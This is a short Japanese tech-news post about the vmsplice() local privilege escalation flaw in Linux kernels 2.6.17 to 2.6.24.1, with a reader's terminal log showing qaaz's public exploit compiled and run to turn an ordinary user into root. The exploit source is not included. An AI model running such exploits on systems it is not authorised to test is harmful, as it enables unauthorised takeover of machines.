Linuxカーネル2.6系にroot権限を奪われる脆弱性が発見される

/.jp の記事 より。

Account-mochi Coward 曰く、

本家/.の記事より。Linuxカーネルのバージョン2.6.17から2.6.24.1までのvmsplice()システムコールに穴があり、それを利用するとroot権限が取得できてしまうようだ。検証用コードも存在する。

対策としては今の所vmsplice()を外してカーネルを再コンパイルすることしかないらしい。穴を突いて動作中のカーネルをオンメモリパッチするアレゲな解決方法も既に公開されている。

で、検証コードを試してみました。

[foo@bar ~]$ gcc -o hoge hoge.c
[foo@bar ~]$ uname -a
Linux bar.example.jp 2.6.18-53.1.6.el5 #1 SMP Wed Jan 23 11:30:20 EST 2008 i686 i686 i386 GNU/Linux
[foo@bar ~]$ id
uid=500(foo) gid=500(foo) 所属グループ=500(foo) context=user_u:system_r:unconfined_t
[foo@bar ~]$ ./hoge 
                                                                    • -
Linux vmsplice Local Root Exploit By qaaz
                                                                    • -
[+] mmap: 0x0 .. 0x1000 [+] page: 0x0 [+] page: 0x20 [+] mmap: 0x4000 .. 0x5000 [+] page: 0x4000 [+] page: 0x4020 [+] mmap: 0x1000 .. 0x2000 [+] page: 0x1000 [+] mmap: 0xb7fa9000 .. 0xb7fdb000 [+] root [root@bar ~]# id uid=0(root) gid=0(root) 所属グループ=500(foo) context=user_u:system_r:unconfined_t [root@bar ~]#

ひえ〜〜! 早くパッチ当てたカーネルを出してくれ〜 > CentOS